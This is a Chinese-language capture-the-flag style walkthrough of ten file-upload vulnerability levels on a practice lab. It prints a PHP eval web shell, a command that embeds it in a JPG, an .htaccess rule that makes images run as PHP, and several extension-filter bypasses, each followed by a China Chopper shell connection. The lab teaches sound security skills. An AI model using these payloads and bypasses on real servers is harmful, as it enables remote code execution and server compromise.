文件上傳漏洞(1-10種情況)


文件上傳漏洞
靶場地址:http://117.167.136.245:21781/Pass-20/index.php
所需工具:cmd命令制作圖片馬,burpsuite抓包修改繞過,中國菜刀連接服務器后台。
提示:圖片不能太大。


第一關:前端驗證繞過
這種檢測只是在網頁上檢測你傳入的是否是.Jpg格式,我們可以抓包修改
首先我們制做一個圖片馬:1.txt: <?php @eval($_REQUEST[‘a’]);?>
Cmd: copy 1.jpg/b+1.txt 12.jpg


圖片馬:12.jpg
第一關只需要抓包修改圖片后綴名即可:


抓包並修改后綴。


圖片上傳成功。檢測:http://117.167.136.245:21781/upload/12.php?a=phpinfo();


頁面存在了。

然后菜刀連接:


接入成功。

第二關:Content-Type方式繞過
這種繞過方式與前端繞過方式一樣,也是通過抓包修改后綴來繞過。我們將圖片馬名字修改再試一次。


上傳成功。檢測連接與第一關一樣。

第三關:黑名單繞過

代碼會過濾掉:


這些后綴。
但是如果我們寫jspx/jspf都會被當成jsp解析。asa/cer/aspx都會被當成asp解析。Php/php3/php4/phtml都會被當做php解析。利用這個特性抓包修改繞過黑名單過濾並使服務器解析。


菜刀連接也要用這個后綴名。

第四關:.htaccess文件繞過
主旨:通過修改配置文件繞過黑名單機制,先制作並上傳一個.htaccess配置文件上傳生效后,再上傳我們的圖片馬。
制作配置文件:搞一個1.txt:寫這一句:AddType application/x-httpd-php空格.jpg
這個指令代表.jpg文件會被當做php來解析。
然后cmd:ren 1.txt .htaccess


成功生成。
上傳:


檢測:


路徑名還是.Jpg

菜刀連接無誤。

 

第五關:后綴大小寫繞過
這也是一個黑名單機制,首先看源碼:


.php”,”.php5”,”.php4”,”.php3”,”.php2”,”.html”,”.htm”,”.phtml”,”.pHp”,”.pHp5”,”.pHp4”,”.pHp3”,”.pHp2”,”.Html”,”.Htm”,”.pHtml”,”.jsp”,”.jspa”,”.jspx”,”.jsw”,”.jsv”,”.jspf”,”.jtml”,”.jSp”,”.jSpx”,”.jSpa”,”.jSw”,”.jSv”,”.jSpf”,”.jHtml”,”.asp”,”.aspx”,”.asa”,”.asax”,”.ascx”,”.ashx”,”.asmx”,”.cer”,”.aSp”,”.aSpx”,”.aSa”,”.aSax”,”.aScx”,”.aShx”,”.aSmx”,”.cEr”,”.sWf”,”.swf”,”.htaccess
這些是會被過濾的后綴。我們攻擊的頁面是php,然后我們找一些沒有被過濾的PHP后綴格式,如PHp/PhP/PHp543/PhP543在靶場我們可以看到源碼,但是在現實滲透中,我們可能就要自己去一個個嘗試了。
這一關還是抓包修改后綴來繞過。


PHp繞過


PhP繞過。


菜刀連接成功。大小寫不敏感。

 

第六關:文件后綴(空)繞過
此關除了黑名單機制外,還會刪除文件末尾的點,所以我們文件末尾不能有點,我們以空格代替,就不會被過濾掉了:
上傳實踐:


上傳無誤。


菜刀連接成功。

 

第七關:文件后綴(點)繞過
和第六關類似,這一關會檢查空格,所以我們使用‘.’來繞過。


上傳成功。


連接成功。

 

第八關:::$DATA(Windows文件流繞過)
此繞過方式:也是黑名單機制。三個條件(必須是windows系統,必須是php,必須是上傳的源文件(這個不重要,就是抓包時在你上傳的文件名后修改))
::$DATA 會把和它一起的數據當成文件流處理,不會檢測后綴名,且保持::$DATA之前的文件名,此做法的目的就是不檢查后綴名。

靶場的做法:抓包—-在我們上傳的文件后綴后加::$DATA—發包—檢測—-菜刀。


圖片格式碎掉了,但是78.php這個文件是上傳去了。


訪問檢測時去掉::$DATA訪問。


菜刀連接成功。

 

第九關:構造文件后綴繞過
查看靶場過濾代碼:


代碼表示會:黑名單機制+刪除掉文件名最后一個點(若有的話),判斷最后一位是不是點,字符串首尾去空。根據代碼反向思考構造可以繞過的后綴為.php.空格.
上傳實踐:


上傳成功。


菜刀連接成功。

 

第十關:雙寫文件后綴繞過
查看代碼:


代碼表示為:在獲得文件名時,若發現其中含有php字樣的便刪除掉,但是只做了一次刪除。若此處為多次刪除的話,便會使我們上傳的文件名無效。所以我們可以構造phphpp這樣的后綴,過濾程序處理完后還是php。這個地方也讓我想起了SQL注入中過濾waf的方法也有雙寫入selselectect這樣的繞過方式。
上傳實踐:


檢測上傳成功。


菜刀連接成功。
做題心得:
在靶場中我們會有提示,但在實踐中可能就需要我們去收集信息判斷或者挨個嘗試了。在菜刀連接時,最好清除一下緩存再連接,這樣才能真正連接,要不有可能是緩存。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM